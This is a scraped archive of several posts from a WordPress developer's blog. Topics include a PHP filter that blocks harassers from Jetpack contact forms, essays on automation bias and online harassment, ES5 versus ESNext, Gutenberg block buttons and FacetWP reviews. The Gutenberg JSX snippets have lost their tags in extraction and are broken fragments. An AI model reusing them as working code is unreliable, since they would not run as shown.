Contact Forms are meant to be a way for people to contact you, outside of the comments on your site. That being so, they really do need to exist *outside* the confines of the comments, which means your comment moderation list is a bit inappropriate. You want people who are having comment problems to get a hold of you.
At the same time, if you’ve blackholed someone, you don’t. You don’t want them to bother you at all, as reading their messages, even though you’re deleting them, is draining. So you want to be able to block them.
Here’s the problem: most contact forms don’t let you do this out of the box.
Yeah, think on that for a moment.
Here are the top four contact form plugins:
- [Contact Form 7 uses WordPress’s Comment Blacklist](https://contactform7.com/comment-blacklist/)
- Jetpack Contact Form (aka Grunion) has no blacklisting ability
- Ninja Forms has no (apparently) blacklist
- WPForms has no blacklist (however [Bill Erickson has some code](https://www.billerickson.net/code/wpforms-email-blacklist/) for you)
I use Jetpack, and while I may be annoyed I’m also a developer. So I did made an answer.
## The Caution
This will not block everyone. If your harasser changes emails a lot, you’re out of luck. And this is the ‘excuse’ I see a lot of the time. Why bother if they’re going to change emails? The answer is obvious. If I can inconvenience them enough, and make it clear I don’t care, they’ll go away.
Also if you do this right, they never know they’ve been blacklisted, so they think they’re getting to you and you’re sipping a damn mai tai.
## The Solution
In [March 2014](https://github.com/Automattic/jetpack/issues/430), I opened a ticket asking for a way to blacklist people. They have made zero forward momentum on this in the 4.5 years since. So this little red hen is doing it herself.
By using the built in filter for spam (which Akismet uses), this code checks if someone’s on the comment blacklist by IP or email, and if so, flags the message as spam. You don’t get an email. You *do* still get the message in your spam, which is not a great fix. I’d rather it just get dumped into trash, but there’s no filter I can find for that.
Still. This works, and it shut the guy up.
```
add_filter( 'jetpack_contact_form_is_spam', 'jetpack_spammers', 11, 2 );
function jetpack_spammers( $is_spam, $form ) {
if ( $is_spam ) {
return $is_spam;
}
if ( wp_blacklist_check( $form['comment_author'], $form['comment_author_email'], $form['comment_author_url'], $form['comment_content'], $form['user_ip'], $form['user_agent'] ) ) {
return true;
}
return false;
}
```
But. That only helps what’s on the blacklist. And the blacklist has a couple drawbacks. First of all, while it absolutely does handle multiple words (so I can block ‘milady mika’ if I want), it’s a little more complex if you wanted to block someone using gmail and a plus sign in the email address. So if you want to block `example+spammer@gmail.com`then you either have to add that in literally or you get creative. I went creative.
```
add_filter( 'jetpack_contact_form_is_spam', 'jetpack_harassment', 11, 2 );
function jetpack_harassment( $is_spam, $form ) {
// Bail early if already spam
if ( $is_spam ) {
return $is_spam;
}
$badlist = array();
$blacklist = explode( "\n", get_option( 'blacklist_keys' ) );
// Check the list for valid emails. Add the email _USERNAME_ to the list
foreach ( $blacklist as $spammer ) {
if ( is_email( $spammer ) ) {
$emailparts = explode( '@', $spammer );
$username = $emailparts[0];
$badlist[] = $username;
}
}
// Check if the comment author name matches an email we've banned
// You'd think we didn't have to do this but ...
if ( in_array( $form['comment_author'], $badlist ) ) {
return true;
}
// Check if the email username is one of the bad ones
// This will allow spammer@example.com AND spammer+foobar@example.com to get caught
foreach ( $badlist as $bad_person ) {
if ( preg_match( '/' . $bad_person . '/', $form['comment_author_email'] ) ) {
return true;
}
}
return false;
}
```
My original take was hardcoded in, but this way is more elegant and covers the majority of the ways ‘nice’ people try to get around blocks. Now, if you’ve blocked `spammer@example.com` and someone submits a form with `spammer+avoid@example.com` this will catch them. It has a higher chance of catching ‘innocents’ (like `innocent@spammer.com`) however considering I’m looking for something like `rosbeitam@example.com` I’m reasonably confident in this for my personal application.
## The Take Away
If you make a contact form, you damn well better make a way for users to block people from the *back end*, without having to code it.
Merry Christmas, ya filthy animals.
**Categories:** How To
**Tags:** blacklist, contact form, harassment, wordpress
---
### [Hiatus: Irregular Updates](https://halfelf.org/2018/hiatus-irregular-updates/)
**Published:** October 4, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** From here out, updates will be irregular.
**Content:**
This will not be the final post on this site, however after six years of regular, two to three times a week posting, I am putting a pin in the promise of two posts (minimum) a week.
The reality is that I’m just too busy now with writing to write.
You can pause for laughter there.
I’m busy with another site, and writing and the various work that it entails. Shockingly to me, I’ve found I’d rather work on it *than* this. For a long time, I was super happy to do both, but the reality now is that I’m not.
Of course if something comes up in my regular work that I can share, I will, or if I find a wild bug or a cool workaround. But I don’t actually have the time to dedicate to that amount of blogging here.
And so, at 1035 posts, I thank you all for reading. This blog absolutely changed my life.
**Categories:** How It Is
**Tags:** hiatus
---
### [Monitored Automation](https://halfelf.org/2018/monitored-automation/)
**Published:** October 2, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Trust but verify what your systems are doing.
**Content:**
One of the things I touched on in my talk at WordCamp NYC in September was the fact that automation has it’s flaws. The problems we face with automated systems flagging LGBTQ videos as ‘restricted’ or trending horrific topics or promulgating fake news is all because of automation. We did this to ourselves.
## Computers Share Our Biases
Humans have biases, which color the ways in which we develop code. If we feel no one should be able to use a lower case P in WordPress (because that’s it’s name) then we can use our biases to programatically force that. Right or wrong, we are biased in many other ways.
The bias of robots is limited to what we’ve taught the robot. There’s no such thing as a true AI yet. Yes, I know European Parliament has declared robots to be ‘electronic persons’ and therefore responsible for their actions. In the case of automated reviews, the robot lacks the ability to detect nuance. It lacks ethics and morals. It cannot make a judgment of what is worth more than something else.
The flip side to this is that humans do what we’re told to do too. Sort of. If I tell you to download a file, review the code for security and sanity, but *not* make a moral judgement on it’s use, you will and you won’t. Oh sure, you understand it’s not your job, or responsibility, so you’ll try not to. We don’t ask the TSA to make a value judgement on what’s in our luggage, we ask them to determine if it’s allowed or not.
## Biases Drive Design
Computers, even the most advanced, make decisions based on how we program them. If we tell them “The word Nazi is bad” then anything with that term that is submitted will be rejected. Even a tool by, say, the Holocaust Museum, talking about how their skill provides trivia about the Nazis’ rise to power.
The reason a computer has bias is because **we**, the people who program the computers, have bias. We are capable of discussing the paradox of tolerance and, in many cases, of coming to an agreement as to what should and should not be permitted. It’s easy to say that guns are illegal on airplanes. It’s not easy to say that being mean will get you kicked off a plane, because that’s subjective.
Back to the TSA. If you brought a pair of fuzzy handcuffs in your carry on, which is legal as of the time I wrote this, you would be permitted to do so, but someone would comment. You may even end up having a very public conversation about your private life. And yes, that TSA agent is totally making a value judgement about you.
## Who Watches the WatchMon?
The answer, the solution to these problems, is difficult. On the one hand, a computer won’t judge you for the fuzzy handcuffs. On the other, it may also decide you’re a criminal for having them in your luggage. A human would understand the purpose of a skill that talks about Nazis not being hate speech, but they also may judge you for having some Nazi swag in your bag for your demonstration class.
Curiously the solution comes with a blend of automation and humanity. There are some things that should be auto-rejected. If you have a rule based on a clear technical limitation, then a computer should be relied on to process those. Except in practice, this is not the case. Instead, we need a human to check, approve or not, and move on to the next possibility. That’s right, the solution to the automation problem is human monitoring.
## Human Bias Isn’t Solveable
We can’t stop people from being biased.
We can meet regularly to discuss the situation, but something needs to go over all the approvals and rejections to see what people are actually doing. So then we have automation monitor the human in reverse. A computer monitors and makes its calls “It looks like X is trending.” A human checks the trends and, if they notice something abnormal (like Betty White trending on a Tuesday afternoon), then can check if she’s done something.
If a human manually removes Betty White from trending every time is shows up, a computer can flag that for their supervisor to ask why the hate for *The Golden Girls*. But this means someone has to sit down and talk about removing one’s personal biases from work, and I promise you, it’s harder than it looks.
## Automate But Verify
The ultimate answer? If you’re not monitoring and verifying your automation, you’re doing it wrong. Much like we say ‘test your backups,’ you have to test everything you task a computer to automagically do.
**Categories:** How It Is
**Tags:** development, ethics
---
### [ES5, ESNext, and a Headache](https://halfelf.org/2018/es5-esnext-and-a-headache/)
**Published:** September 25, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you're confused about the weird "ES" names with regards to Gutenberg and Javascript, there's some history that may help you out.
**Content:**
You may have noticed, [reading the Gutenberg documentation](https://wordpress.org/gutenberg/handbook/blocks/writing-your-first-block-type/), that there are two ways to add new blocks. There’s ES5 and ESNext. The two code bases are similar, but they certainly can confuse new developers. And while it’s possible to migrate from one to the other, that too can be a bit of a headache.
## Consistently naming versions? HAH!
Providing a consistent naming pattern is important for people to be able to understand what version of a software they’re using, and what’s next. Whatever you pick, when you decide how to go. you’re pretty much stuck with it forever. There are exceptions, but even Apple and Microsoft had semi-logical explanations for their names. I can’t really justify Windows ME to anyone, though.
In Open Source land, people love to complain that WordPress itself doesn’t use semantic versioning (aka SemVer). That is, a jump from 4.2 to 4.3 is a major release, where as if it were SemVer, that would be a minor change.
SemVer uses the concept of MAJOR.MINOR.PATCH with regards to numbers, which means you increment:
1. MAJOR – when you make *incompatible* API changes,
2. MINOR – when you add functionality in a backwards-*compatible* manner
3. PATCH – when you make backwards-*compatible* bug fixes
WordPress does MAJOR.MAJOR.MINOR-OR-PATCH which really confuses a lot of people, and I understand that.
Of course, then you look at the history of JavaScript and you cry a little.
## JavaScript isn’t Java, and neither are coffee.
We have to go back a while here. In 1995, Netscape Navigator was releasing a new coding language called LiveScript. In 1996 they renamed it to JavaScript, presumably to capitalize on the whole ‘Java’ craze. I actually took some Java classes back in those days. Anyway, Netscape tossed the deal over to [ECMA International](http://www.ecma-international.org) for some standardization, and got us ECMAScript.
ECMAScript is the language, Javascript is the most popular *implementation* of the language. Its like [HTML and XHTML](https://www.w3schools.com/html/html_xhtml.asp), and when you get down to brass tacks, most people don’t care. They use the terms interchangeably. And that’s okay.
From 1996 to around 2010, nothing changed. Javascript trucked along doing what it did, and ECMAScript didn’t change much at all. There was ECMAScript2 and ECMAScript3, but after that, we had a decade of nothing. The astute reader now has gone “ECMAScript… ECMA Script. ES?” And they would be correct.
## What is ESNext?
ECMAScript 5 (aka ES5) came out in 2009, but really it didn’t get picked up until 2012. This is because of our old nemesis, Internet Explorer. In the last 6 years, developers have pretty much stuck to ES5, since it works in all modern browsers. We have ES6, also known as ES2015, but not every browser supports it yet. Which is why we have ESNext.
To put it simply, ESNext (or ES.Next) is the future version of ECMAScript which is yet to be released. If you hear ES7 or ES2016, that’s actually the same thing. The naming system is a little janky and confusing, if you hadn’t already noticed.
And this is why you’ll hear it called ESNext in WordPress. It encompasses ES6/ES2015, ES7/ES2016, and whatever comes *next*. Aaaaaah you see?
ES4 was abandoned by the way.
## It’s Not Dangerous.
While not all browsers support ESNext, there’s good news for WordPress. It doesn’t matter because we transpile (I’ll get there in a second). For WordPress and Gutenberg, the primary difference is going to be in the ‘style’ of code and the build process. The break down is as follows:
- ES5 is more obscure to write, but runs immediately
- ESNext is more clean to write, but requires post compilation (transpilation) to run Gutenberg
That probably didn’t help. Okay, how about this. There a way to write CSS (called SASS) which lets you add programatic features to your CSS. ES5 and ESNext are the same way. You totally *can* write ESNext without compiling, but not yet for Gutenberg. This is kind of the same thing, except when we transpile ESNext, we’re converting it to ES5.
Now, we use ES5 in the end for a couple reasons, but primarily it’s because Gutenberg uses React, and React JSX (which translates Javascript to XHTML). That requires us to transpile back to ES5 in order to be used by all browsers. For now.
Browsers update a lot faster than they did when we were trying to get rid of IE5. Still, Internet Explorer is around and will be for a while at financial institutions, so don’t get super excited yet.
## Where does this leave us?
When you go to write your first Gutenblocks, I recommend ES5 for the simple ones and ESNext for the complex ones. ESNext is more semantic, in that it’s laid out in a more human readable way. ES5 is faster to edit and test.
**Categories:** How It Is
**Tags:** javascript, wordpress
---
### [Being Aware about Safe Spaces and Self Care](https://halfelf.org/2018/being-aware-about-safe-spaces-and-self-care/)
**Published:** September 27, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Taking care of yourself, even in work, may mean walking away.
**Content:**
One of the things people complain about is that I will walk away from a conversation that’s going nowhere. This extends to my worklife, and of course my WordPress work. Related to this, I will also choose to not engage with argumentative demands like “Why did you do X?” on places like Twitter and Facebook.
This is often considered to be cowardly, an admission of wrongdoing, avoidance, or proof I’m not “up” for the job. Sometimes people jump into the special snowflake argument (that is: I am one) or that I’m too sensitive and need a safe space.
Okay, let me explain why I don’t defend myself, or even generally reply to people who demand explanations.
## Social Media is Unsafe
I like social media. I like reading thoughts and replying, expressing my own short form feelings, and so on.
But by its open nature, social media is incredibly dangerous. Anyone can talk to anyone, and if we’ve learned anything from recent days, there are a lot of naive people out there who fall prey to any con man who walks up and tells them it’s not their fault their life sucks.
It also lends itself to a mob. And mobs are the most dangerous sorts of people. They’ve fallen in truck with a group and they believe everything they’re told. Worse. They are regularly aggressive when they face adversity, and they take justice upon themselves. This means, should you ever happen to upset one of them, you will end up with a mob on your doorstep. Or your DMs.
## A Place For Everything
Recently, a plugin developer made what *should* have been an innocuous question. Why was a post moderated. This is the sort of question I get a lot, and in general I press mute and ignore it, because if you want to ask me a question about plugins, there’s an email address you already have. Press reply. And if you want to ask about forums stuff, there’s a channel on Slack.
The problem here was in the hours leading up to this, he’d also spoken with people about another plugin. This plugin happens to be contentious for many reasons, including overmoderation of bad reviews. Someone decided that one and one meant four, and I was the fault of the reviews being removed.
I think that if you have questions about a team, you logically ask the team. Or the team management. When you ask someone whom you presume to be the point person on Twitter, you run a risk of a public misfire. You also run a risk of signaling to the mob who their new target is. Which is what accidentally happened that day.
## Angry People are Stressful
If you’ve ever tried to reason with someone who’s angry, you’ve probably reached a point where you thought it was better to bash your head in than try to explain facts. When you get a mob, it’s even worse. The people start out super angry, they refuse to accept any viewpoint but their own, and they make you angry too. This begins a vicious cycle where you overreact, they get angrier, you get angrier, and bad decisions are made.
It goes without saying, I’m not exempt from this. I make bad decisions when under anger and stress, same as pretty much everyone. While I strive not to, this is nearly impossible, and that is when I will disengage. Because I can tell I’m not going to be reasonable, and that would be harmful.
But what changes when you’re the end stop of a team? When you’re the rep and you have no choice but to make the decisions and the hard calls and continue to try? Well, you draw a line about **where** you will have those conversations. And you draw a line about with whom. Like saying “I won’t do this over Twitter.”
## Say No, Even When You Feel Bad
The main reason I won’t have a conversation about why decisions are made on Twitter is that there is no accountability for actions.
Anyone can make an anonymous account and troll people, telling them off for perceived slights. But to take your regular, daily use account and step up to ask a question, in the official location for those discussions, takes courage. More important, it takes a quality of human that will accept responsibility for their actions.
Most of the time. The odds are at least higher that people will be willing to discuss when they come into a discussion room. Obviously not always, and unlike Twitter I can’t mute or block people who are incapable of accepting ‘no’ as a valid answer.
Because you see, the main reason I don’t want to have the conversation on Twitter is that I worry you’re going to out yourself. That you will embarrass yourself when I say that leaving a review on the *moderators* in a plugin review is not appropriate. Or if I explain “You made multiple accounts to leave 5 star reviews on your own plugins.” Or worse, when I have to point out that “You called the moderators Nazi c\*\*\*s.”
None of those are made up.
## Emotional Labour
There’s one more thing.
When someone walks up to me and demands I explain myself to them, they place a burden on me. Literally they ask me to defend my actions. While the word “explain” is in there, it’s not what they mean. What they mean is for me to justify my actions and choices.
Usually when I attempt to explain the situation, or if I suggest the one they’re comparing to isn’t the same at all, I get called defensive. Or I’m trying to hide the point. And I’m expected to do it with a smile. If I call someone out on their inability to reason, I’m a bitch and making excuses. If I’m polite and respectful, I’m hiding something.
Simply put, if I can’t have a civil, reasonable, conversation with them about it, I’m not going to waste my time. No matter what, they’ve made up their minds going in.
Now, I will note that after some time doing this, you can tell who is going to be a stubborn jackass and who is not after about two passes. I can tell, on Twitter, from their previous tweets. That’s why I’m quick to mute and block. It’s not to silence them, it’s to sufficiently ignore them and not spend energy on someone who begins a conversation from a place of disrespect.
## None Of This Changed Your Opinions of Me
If you’re reading this, you’re probably a regular who knows you’re getting an opinionated, open minded, person who looks as intently at herself as she does everything else. In order to be truly honest, I have to be honest about myself, who and what I am, and what I say.
The other person who’s reading this probably came from a link someone gave you, following a discussion about my flaws. Let’s be honest, I’m a big fat target for those posts on Twitter, Facebook, and other various blog sites around the planet.
You both probably got here and thought “Yep, she’s exactly what I thought.”
Funny how that works.
I’ll leave you with this relevant article about [why YouTube stars are heading for burnout:](https://www.theguardian.com/technology/2018/sep/08/youtube-stars-burnout-fun-bleak-stressed)
> Lees began to feel a knock-on effect on his health. “Human brains really aren’t designed to be interacting with hundreds of people every day,” he says. “When you’ve got thousands of people giving you direct feedback on your work, you really get the sense that something in your mind just snaps. We just aren’t built to handle empathy and sympathy on that scale.” Lees developed a thyroid problem, and began to experience more frequent and persistent stretches of depression. “What started out as being the most fun job imaginable quickly slid into something that felt deeply bleak and lonely,” he says.
>
> [The Guardian](https://www.theguardian.com/technology/2018/sep/08/youtube-stars-burnout-fun-bleak-stressed)
**Categories:** How It Is
**Tags:** community, essay, oped
---
### [Blocks: Another Way to Adjust Settings](https://halfelf.org/2018/blocks-another-way-to-adjust-settings/)
**Published:** September 20, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding buttons to a Gutenberg block can indeed be done. Dare I say it? Simply.
**Content:**
As I’ve mentioned a few times, one of the ways you can adjust settings on a block in Gutenberg is via the sidebar. In fact, this is the default way most people will interact with block settings.
If you make a paragraph today, you can see it like this:

But. I don’t actually like it very much. I appreciate that I have it, and I love that I can get it out of the way. But sometimes I like settings to be a little more contextual.
## It’s Easy to Add Sidebar Settings
One of the reasons we all use sidebar settings is that, well, they’re easy. When I built out my listicles plugin, I could use the inspector controls and automagically I have my own settings.
This:
```
setAttributes( { items: value } ) }
min={ 1 }
max={ MAX_ITEMS }
/>
checked ? 'Reversed order (10 - 1)' : 'Numerical order (1 - 10)' }
checked={ props.attributes.reversed }
onChange={ () => props.setAttributes( { reversed: ! props.attributes.reversed } ) }
/>
```
Looks like this:

But like I said, I don’t like it very much. It’s clunky, it’s touchy, if you delete the number and type in a new one it’ll wipe all your data. And worst of all, my partner in crime, Tracy, hates it. If your work partners hate a tool, then it’s serious problem. I’ll put up with annoyances to me, but I’ll learn new code for the team.
## Think About What’s Easier
Before I get into the code I used to solve the issue, I want to take a moment to talk about theory and understanding usage.
One of the critiques about Gutenberg is that it’s changing too much too quickly, and it’s not listening to users. The problem with that complaint is it lacks context. I’m big on context because I believe that only with understanding the usage and context can we as a whole make the correct decisions going forward. What changes, when, and why depends entirely on what’s being used, for what, and why.
It’s much more direct to understand this when I look at my little listicles block. You see, we use it for one thing: to make lists with a specific format. And we have few requirements.
- Add and remove items
- Add content of myriad types to each item
- Be able to reverse the item count (1 to 10 *or* 10 to 1)
That’s really it. Except now I’m adding one more thing:
- An easier, inline, way to add/remove/toggle items.
So I sat and I thought about what would be the easiest to use, and I came up with a simple solution. Three buttons, one to add an item, one to remove, and one to toggle the order. Have those show perpetually at the bottom of the list, and you could easily add and remove as needed.
## It’s Actually Easy To Add Buttons
Once I knew what I wanted, I took a page from some work Yoast is doing and sketched my idea to look like this:

In order to do this, I needed to add some code to the bottom of my `` code:
```
setAttributes( { items: parseInt(`${ items }`)+1 } ) }
className='editor-inserter__toggle'
>Add Item
setAttributes( { items: parseInt(`${ items }`)-1 } ) }
className='editor-inserter__toggle'
>Remove Item
setAttributes( { reversed: ! reversed } ) }
className='editor-inserter__toggle'
>Toggle Order
```
This sits inside the `` and just below my `` insert. It generates the buttons, which change when you hover by default.
Now it’s not perfect. If you deleted all the items and pressed delete again, it would sure try to delete. I didn’t put in checks to make sure we didn’t go below 0 or above 18 (which is my current limits). But this is the start to make sure we can keep improving and iterating.
**Categories:** How To
**Tags:** gutenberg, javascript, wordpress
---
### [WordPress Reviews: The Good, The Bad, and the Stalker](https://halfelf.org/2016/wordpress-reviews-good-bad-stalker/)
**Published:** July 4, 2016
**Author:** Ipstenu (Mika Epstein)
**Content:**
The following is the original notes on my WCEU talk about WordPress reviews. It’s more or less what I said, though the video will no doubt be up soon.
## 30 Months In Jail Over a One Star Review
This is a true story. In late 2014, a man violently assaulted a woman who left a bad review on his self published ebook. He stalked her, sorting out her pseudonym, finding her real name, address, and work location. He traveled 500 miles, found her at work in Scotland and hit her over the head with a full bottle of wine. He received 30 months in jail for the assault and stalking.
## An Extreme? Not So Much
Every day people leave hundreds of reviews on WordPress themes and plugins. They talk about how much they love or hate a plugin, there is rarely any middle ground here, and they are as passionate as the developers themselves. This passion leads to a large amount of confrontation on the WordPress Review Systems.
## Your Code Is Bad< And You Should Feel Bad<
We are all going to get the bad reviews, and while you might want to dismiss the idea of being a stalker or a violent offender, because YOU would never do it, I promise you this. You will react badly to a poor review. It’s human nature. You’ve worked for hours on something and someone just said your code sucks. It hurts. And while I say this simply, it’s incredibly hard to do what I’m about to tell you…
## Learn: Reviews Are Lessons
You have to learn from the reviews. Even the worst review has something you can take from it. If you can put aside your own ego to try and see the world from their side, you can many times take the lessons, apply them to your code, and make everything better. Maybe it’s a fix to code, but more often it’s a documentation issue. There is no 100% perfectly intuitive system out there. Not even life itself. We all had to learn how to use a toilet after all. So what can we learn from reviews?
## The Points Don’t Matter; Everything Is Made Up
People concentrate on getting good reviews, on getting five stars. That’s the wrong approach. A five star review is useless for your ongoing improvement of your product and tells you nothing. All you can do is begin a humanization of your code, leaving a reply of ‘thank you’ perhaps, but you can learn little from these.
## Context Is Everything: Room For Improvement
The review you want is the one that tells you they *mostly* like your work, but can see room for improvement, and they leave you suggestions. The review where someone has trouble finding information is another good one. That tells you what your FAQ is lacking, for example. These are people who are probably willing to have a conversation and just need you to begin it. Don’t be afraid to ask “What was it about the cowbell feature that bothered you?” or “I do explain this in the FAQ. Would it have helped you if I put an in-line note?” Engage them and learn from them.
## There Will be Anger: To The Pain
The review you don’t want is the one where people are livid. Where they all you names and abuse you. No one wants that, and sometimes you can talk to them and get details, but you’re starting in a disadvantageous position and you have to fight to get answers. If you talk to this person, which I do recommend, be prepared for snarky replies and snide remarks. When you get to the troublemakers who complain they wanted to leave a ZERO star review, you have to be strong and not reply in kind. Sometimes there’s no salvaging the relationship.
## A Review Is An Experience, And It’s Not Yours
The trick of all this is to remember that a review is not always a review on how a product worked. It’s also about how someone FEELS when looking at and using your product. A review is THEIR experience with your product, and the users experience with your code doesn’t necessarily start with them using your code. You need to understand who they are, why they feel this way, in order to properly handle their review. The experience begins with how people are introduced to your product, so if that’s an email marketing campaign or a website with a lower-case P, this will impact their experience and thus their review.
## Handling A Review… It’s Not Easy
You’re going to get angry. If you’re like me and sometimes, when you’re mad, you feel your face heat up and you literally see red? Walk. Away. Don’t reply. If you cannot reply, in public, politely, DO NOT REPLY. Okay? Shut up, don’t do it. What you do in response to a review will be PUBLIC and you WILL be weighed by it. So don’t shoot yourself in the foot. Once you’re calm, you can process the reviews.
## The “Support” Review: “I don’t know how to use it.”
This one drives people nuts. A review that should have been a support ticket, or maybe it could have been solved by looking at the FAQ. While you can’t make them do the right thing, you can offer help in the review. Explain how they should report this next time and try to find a solution. These suck. A lot. I hate them. But they happen everywhere, even Amazon. Try to fix the issue, but don’t give it any more attention than you would a normal support post. Be careful not to let these become the next kind of review…
## The “Blackmail” Review: “You don’t have a feature I want.”
This is my least favorite. One star review because a plugin didn’t do something they wanted. It feels unfair, too, because you’re being judged on something you didn’t do and weren’t even planning on doing. It makes me seethe. And there isn’t a fix here. You have to be able to say “no” and not feel guilty, which is hard. Your trick here is remembering it’s okay to not have your code do everything. If your theme changes colors based on photos, it’s okay not to want to support changing for animated gifs. Speaking of reviews of the wrong things…
## The “Commercial” Review: “I bought the pro version and it sucks.”
The reviews on WordPress.org *should* be for your free product on WordPress.org. Sometimes they’re not. If you’re upselling your products from the free version, if you have ads on your plugin and tell people “for more features, use the pro version!” then you’ve opened yourself to the painful review of how that upgrade process goes. The best you can do is offer to help them via official channels, but if someone’s upgrade to your pro version goes poorly, you’re going to get a bad review. You cannot ask people to upgrade and give you money and not expect them to have an opinion.
## The “Way Too Angry” Review: \[CENSORED\]
Oh boy. This one. The review that you read that is insane. You know this one, right? It’s filled with language so foul and so appalling you can hardly process. Don’t reply. Don’t. This person is a lost cause. If you say anything, keep it to “I’m sorry you feel this way” but frankly I wouldn’t.<
## The “Mistake” Review: Spam, sockpuppets, wrong plugins, and more!
I actually like these reviews. They’re easy to deal with because all I do is have them deleted. Tag the post ‘modlook’ and then spam or sockpuppet or wrongplugin and walk away. I wish they could all be this way…
## Learn: Mistakes Will Happen
The biggest takeaway from this, if you want to distill this entire talk into a tweet, it would be this: Don’t post angry. Don’t attack anyone. Remember we are, all of us, humans. And really, this should be simple for everyone and every thing. This is humanity at work, we can be nice and respectful in the face of adversity, thinks would be be better all around. But maybe that’s the wrong take away. The wrong drive. So let me say this a different way.
## Your Business Is Not Code, It’s You
Read that. Your business is not your code, your product, your output. Your business, every business, is people. If you’re replying to the reviews, you are the face of your product, and if you’re here, I’m assuming your company. One or five people, ten or ten hundred, your company is the face and if you’re the face then how you act, in public, will impact your business more than any one-star review ever will.
## A Final Thought… Don’t Be The Bad Guy
Let me conclude with another true story. There was a plugin that had a troubling user. The user bought the premium upgrade and was disappointed. Nothing worked right. The plugin developers tried to fix it, but were unable. It was an incompatibility between their plugin and another. The user wanted his money back. The developer argued they’d gone above and beyond the call of duty and were not going to refund as per their policy. The user threatened to leave bad reviews if there was no refund and carried through this threat. The developer capitulated BUT *held onto the money* and said they would only refund if the reviews were altered. The user said no and things went even more downhill from there.
## You Can Say No; Defeat Does Not Mean Loss
This is the hardest lesson of all. It’s okay to say no. It’s okay to walk away. It’s okay to tell someone “I’m sorry, but I can’t help you.” or “I’m sorry, but this is against our policy.” This hurts. It makes you feel inadequate and like you’re a faker. You’re not. It’s mathematically impossible to be perfect, so while you should try to be the best you can, it’s okay to concede to defeat. The trick is understanding that defeat, accepting you cannot help everyone, does NOT mean you lose. It doesn’t kill your plugin or theme or business. It teaches you what you can do better next time.
**Categories:** How It Is
**Tags:** essay, plugins, review
---
### [FacetWP: Making Sorting Suck Less](https://halfelf.org/2017/facetwp-making-sorting-suck-less/)
**Published:** April 12, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using Facet is fascinating.
**Content:**
Sorting data in WordPress is generally done in the most basic of ways. You want to see all posts that are in a specific category, you go to `example.com/category/drinks/` and there you are. But if you want to see everything in the category ‘drinks’ with the tag ‘bourbon’ and the custom taxonomy of ‘ingredients’ and a value of ‘mint’ *AND* ‘simple syrup’ to get the recipe for a mint julep, then you have a pretty crazy complex query.
## Enter FacetWP
[FacetWP](http://facetwp.com/) is a premium plugin that, for $79 a year, handles all that crazy sorting for you. And yes, it’s worth it.
FacetWP introduces advanced filtering to WordPress, which lets you do things like get that list of all drinks made with bourbon that include a simple syrup, in a dynamic way! It’s incredibly fast, since it’s using ajax and javascript, and as long as you have enough server memory to index all the data in the first place, it’s faster than reloading a new category page.
## Downsides
In order to be that fast, you do not get pretty URLs. Let’s say you have your drinks category at `example.com/category/drinks’ and you want to list all those things. Your URL will look like this:
`example.com/category/drinks/?fwp_alcohol=bourbun&fwp_ingredients=simple+syrup%2Cmint`
The realistic reason they don’t try to make it ‘pretty’ is that it would create a lot more rewrite rules than would be sustainable, if you have a lot of facets. The number of checks would slow your site down, and that would kind of suck.
## Compatibility Notes
If you use CMB2 you’ll need [FacetWP + CMB2](https://github.com/FacetWP/facetwp-cmb2).
If you use Genesis themes, there are two tricks. First, you’ll want to use the [following function](https://facetwp.com/integrating-facetwp-with-genesis/) to add FacetWP’s CSS to your theme:
Second, if you’re like me and you use a lot of custom loops, they *may not* behave as expected. If you call the loop multiple times on a page (which is bad behavior in the first place and I know it), FacetWP has a bit of trouble knowing what javascript to apply to what section. That should be expected, and once I cleaned it up, it worked great.
## Should you use it?
If you have a lot of complex intersectional queries to sort through, yes.
If you need dynamic result updates, yes.
It works.
**Categories:** How It Is
**Tags:** facetwp, plugins, review, wordpress
---
### [Review: FacetWP](https://halfelf.org/2017/review-facetwp/)
**Published:** December 7, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Review: I love FacetWP and so should you.
**Content:**
I’ve been using [FacetWP](https://facetwp.com/?ref=91) since April 2017 and I can unequivocally say that it was one of the best purchases I’ve made.
## Search Is Hard
There’s no two ways around this. Search is difficult. You have to guess what peoples’ intents are, and you have to order the results in a way that is meaningful. While it would be great if people searched for keywords, they prefer to look for things in whole phrases like “jackets made of feathers.” Those are terms and presentations that make sense to the human mind.
On top of that, there are different kinds of search.
Most people are familiar with **document search**, which is more or less what WordPress and Google do. Since webpages are just text documentation at the end, Google searches all the text, figures out how many people link to the page, use some secret dipping sauce, five spices, and determine relevancy. WordPress’ own search is much simpler and consequently less effective. [Not that Google gets it right all the time either, though…](https://www.thoughtspot.com/codex/why-relational-search-harderand-why-we-it)
Another common type of search, also used by Google, is **graph search**. This is popular on Facebook and Twitter, but it uses connections between your friends to prioritize and determine depth of search.
Finally there’s the concept of **faceted search**. This is useful when a site knows you’re looking for a product, like a shoe, and you just need help narrowing down the size, the color, the fit, etc. And that’s where [FacetWP](https://facetwp.com/?ref=91) comes in.
## Facets vs Filters
You might have heard about search ‘filters.’ If you’ve ever used Google’s image search, or news search, and you tried to narrow down results based on dates or colors or formats, you’ve used filters. They help you filter the results by changing the parameters. A faceted search is similar, in that it uses the same concepts as filters to toggle multiple aspects of the search item, giving you even more flexibility in your results.
The term ‘filter’ and ‘facet’ are oft used interchangeably, and since they’re so similar and related, this does not help a single person at all. They both help reduce large data sets into something manageable, but filters are relatively easier than facets. In fact, your WordPress site already does basic filters. Ever gone to a category or tag page? That’s a very basic example of a filter.
## Faceted Search Is Hard
If regular relational searches are hard, it shouldn’t surprise you to hear that faceted search is too. A faceted search has the job of analyzing a large data set and excluding anything that doesn’t fit your specific criteria. This means it uses multiple filters, once for each aspect of the data set.
Okay, let’s make this a little easier to understand with a practical example!
Let’s say you have a database of 750 TV shows. You’ve identified what you feel to be the key components of the shows, such air dates, countries, ratings, specific genres, and if the reviewer liked it. Now, if someone comes to your site and wants a list of crime dramas that aired between 2000 and 2017, in the US, that the reviewer hated, you don’t need filters, you need a faceted search.
By building in options to sort each of those things, you reduce the dimensions of content and offer a structure to help your users understand the contextual construct of the data. You are giving them ideas about what data is available, and how they can search through it without having to guess at keywords.
## FacetWP Does All That
Simply put, [FacetWP](https://facetwp.com/?ref=91) does that.
